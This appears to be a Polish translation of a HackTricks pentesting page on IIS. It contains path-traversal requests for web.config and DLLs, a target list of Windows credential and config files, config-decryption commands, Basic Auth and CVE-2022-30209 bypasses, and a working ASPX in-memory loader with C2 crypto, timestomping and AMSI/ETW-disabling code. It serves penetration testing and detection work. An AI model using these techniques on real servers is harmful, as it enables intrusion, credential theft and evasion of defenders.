IIS - Internet Information Services

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Testowe rozszerzenia plików wykonywalnych:

  • asp
  • aspx
  • config
  • php

Ujawnianie wewnętrznego adresu IP

Na każdym serwerze IIS, na którym otrzymujesz 302, możesz spróbować usunąć Host header i użyć HTTP/1.0 — w odpowiedzi nagłówek Location może wskazywać na wewnętrzny adres IP:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Odpowiedź ujawniająca wewnętrzny adres IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Uruchamianie plików .config

Możesz przesłać pliki .config i użyć ich do uruchomienia kodu. Jednym ze sposobów jest dopisanie kodu na końcu pliku wewnątrz komentarza HTML: Pobierz przykład tutaj

Więcej informacji i technik wykorzystania tej podatności tutaj

IIS Discovery Bruteforce

Pobierz listę, którą przygotowałem:

Powstała przez scalenie zawartości następujących list:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Użyj jej bez dodawania rozszerzenia — pliki, które tego wymagają, mają je już.

Path Traversal

Leaking source code

Sprawdź pełny opis: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

W skrócie, w folderach aplikacji znajduje się kilka plików web.config odwołujących się do plików “assemblyIdentity” oraz “namespaces”. Mając te informacje można ustalić gdzie znajdują się pliki wykonywalne i je pobrać.
Z pobranych Dlls można także znaleźć nowe namespaces, do których warto spróbować uzyskać dostęp, aby zdobyć plik web.config i w ten sposób znaleźć kolejne namespaces oraz assemblyIdentity.
Również pliki connectionstrings.config i global.asax mogą zawierać interesujące informacje.

W aplikacjach .Net MVC plik web.config odgrywa kluczową rolę, określając każdy plik binarny, od którego aplikacja zależy, za pomocą XML-owych tagów “assemblyIdentity”.

Badanie plików binarnych

Przykład dostępu do pliku web.config pokazano poniżej:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

To żądanie ujawnia różne ustawienia i zależności, takie jak:

  • EntityFramework version
  • AppSettings dotyczące webpages, walidacji po stronie klienta i JavaScript
  • System.web konfiguracje dotyczące uwierzytelniania i uruchomienia
  • System.webServer ustawienia modułów
  • Runtime powiązania assembly dla licznych bibliotek, takich jak Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc

Te ustawienia wskazują, że niektóre pliki, takie jak /bin/WebGrease.dll, znajdują się w folderze /bin aplikacji.

Pliki w katalogu głównym

Znalezione w katalogu głównym pliki, takie jak /global.asax i /connectionstrings.config (który zawiera wrażliwe hasła), są niezbędne do konfiguracji i działania aplikacji.

Przestrzenie nazw i Web.Config

Aplikacje MVC definiują także dodatkowe web.config files dla konkretnych przestrzeni nazw, aby uniknąć powtarzających się deklaracji w każdym pliku, jak pokazano przy żądaniu pobrania innego web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Pobieranie DLLs

Wzmianka o niestandardowej przestrzeni nazw sugeruje plik DLL o nazwie “WebApplication1” obecny w katalogu /bin. Następnie pokazano żądanie pobrania WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

To sugeruje obecność innych istotnych plików DLL, takich jak System.Web.Mvc.dll i System.Web.Optimization.dll, w katalogu /bin.

W scenariuszu, w którym DLL importuje przestrzeń nazw nazwaną WebApplication1.Areas.Minded, atakujący może wnioskować o istnieniu innych plików web.config w przewidywalnych ścieżkach, takich jak /area-name/Views/, zawierających określone konfiguracje i odniesienia do innych plików DLL w folderze /bin. Na przykład żądanie do /Minded/Views/web.config może ujawnić konfiguracje i przestrzenie nazw wskazujące na obecność innego pliku DLL, WebApplication1.AdditionalFeatures.dll.

Typowe pliki

Źródło: tutaj

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

To oznacza, że serwer nie otrzymał poprawnej nazwy domeny w nagłówku Host.
Aby uzyskać dostęp do strony możesz sprawdzić serwowany SSL Certificate i być może znajdziesz tam nazwę domeny/subdomeny. Jeśli jej tam nie ma, może być konieczne brute force VHosts, aż znajdziesz właściwą.

Deszyfrowanie zaszyfrowanej konfiguracji i ASP.NET Core Data Protection key rings

Dwa powszechne wzorce ochrony sekretów w aplikacjach .NET hostowanych na IIS to:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) dla sekcji web.config takich jak .
  • ASP.NET Core Data Protection key ring (zapisany lokalnie) używany do ochrony sekretów aplikacji i cookies.

Jeśli masz dostęp do systemu plików lub interaktywny dostęp na serwerze WWW, współlokowane klucze często umożliwiają deszyfrację.

  • ASP.NET (Full Framework) – odszyfruj chronione sekcje konfiguracji za pomocą aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – poszukaj Data Protection key rings przechowywanych lokalnie (pliki XML/JSON) w lokalizacjach takich jak:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Mając key ring dostępny, operator działający w tożsamości aplikacji może zainstalować instancję IDataProtector z tymi samymi purposes i unprotect przechowywanych sekretów. Błędne konfiguracje, które przechowują key ring razem z plikami aplikacji, sprawiają, że odszyfrowanie offline staje się trywialne po przejęciu hosta.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Toolkit Phantom Taurus/NET-STAR pokazuje dojrzały wzorzec dla fileless IIS persistence i post‑exploitation działający całkowicie wewnątrz w3wp.exe. Główne idee są szeroko użyteczne do custom tradecraft oraz dla detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., “STAR”) for chunking.
  • Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
  • Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Pomocniki pakowania/kryptografii (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session — przepływ i powierzchnia poleceń

  • Session bootstrap i tasking są przekazywane za pomocą cookies, aby wtopić się w normalną aktywność web.
  • Zaobserwowane w praktyce polecenia obejmowały: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; oraz dynamiczne prymitywy wykonawcze code_self, code_pid, run_code do wykonywania .NET w pamięci.

Timestomping utility

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Inline wyłączenie AMSI/ETW przed Assembly.Load (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Notatki dla obrońców

  • Pojedyncza, nietypowa strona ASPX z bardzo długimi Base64/Gzip blobs; żądania zawierające dużo cookie.
  • Managed modules bez powiązania z plikami wewnątrz w3wp.exe; ciągi takie jak Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Powtarzające się delimitery, np. “STAR”, w ruchu sieciowym; niezgodne lub nawet przyszłe znaczniki czasu w ASPX/assemblies.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Wiele aplikacji ASP.NET osadza Telerik UI for ASP.NET AJAX i udostępnia niezautoryzowany handler Telerik.Web.UI.WebResource.axd. Gdy endpoint Image Editor cache jest osiągalny (type=iec), parametry dkey=1 i prtype umożliwiają unsafe reflection, które wykonuje dowolny publiczny konstruktor bez parametrów pre‑auth. Daje to uniwersalną prymitywną DoS i może eskalować do pre‑auth RCE w aplikacjach z niebezpiecznymi handlerami AppDomain.AssemblyResolve.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Możesz spróbować enumerate folders and files wewnątrz każdego odnalezionego folderu (nawet jeśli wymaga Basic Authentication) używając tej techniki.
Główne ograniczenie tej techniki, jeśli serwer jest podatny, jest takie, że może znaleźć co najwyżej pierwsze 6 liter nazwy każdego pliku/folderu oraz pierwsze 3 litery rozszerzenia plików.

Możesz użyć https://github.com/irsdl/IIS-ShortName-Scanner aby przetestować tę podatność: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Możesz też użyć metasploit: use scanner/http/iis_shortname_scanner

Dobry pomysł, aby odkryć końcową nazwę znalezionych plików, to zapytanie LLMs o opcje, tak jak w skrypcie https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Bypass a Basic Authentication (IIS 7.5) próbując uzyskać dostęp do: /admin:$i30:$INDEX_ALLOCATION/admin.php lub /admin::$INDEX_ALLOCATION/admin.php

Możesz spróbować połączyćpodatność z poprzednią, aby znaleźć nowe foldery i obejść uwierzytelnianie.

ASP.NET Trace.AXD enabled debugging

ASP.NET zawiera tryb debugowania, a jego plik nazywa się trace.axd.

Zawiera bardzo szczegółowy log wszystkich żądań wysłanych do aplikacji w pewnym okresie czasu.

Informacje te obejmują zdalne adresy IP klientów, ID sesji, wszystkie request i response cookies, ścieżki fizyczne, informacje o kodzie źródłowym, i potencjalnie nawet nazwy użytkowników oraz hasła.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH używa następujących informacji:

  • validationKey (string): hex-encoded key to use for signature validation.
  • decryptionMethod (string): (default “AES”).
  • decryptionIV (string): hex-encoded initialization vector (defaults to a vector of zeros).
  • decryptionKey (string): hex-encoded key to use for decryption.

Jednak niektórzy używają domyślnych wartości tych parametrów i jako cookie używają adresu e-mail użytkownika. Dlatego, jeśli znajdziesz serwis korzystający z tej samej platformy, który używa cookie ASPXAUTH i utworzysz konto z adresem e-mail użytkownika, którego chcesz podszyć się na serwerze pod atakiem, możesz być w stanie użyć cookie z drugiego serwera na pierwszym i podszyć się pod tego użytkownika.
Ten atak zadziałał w tym writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Pełny raport tutaj: Błąd w kodzie nie sprawdzał poprawnie hasła podanego przez użytkownika, więc atakujący, którego hash hasła trafia na klucz już znajdujący się w cache, będzie w stanie zalogować się jako ten użytkownik.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks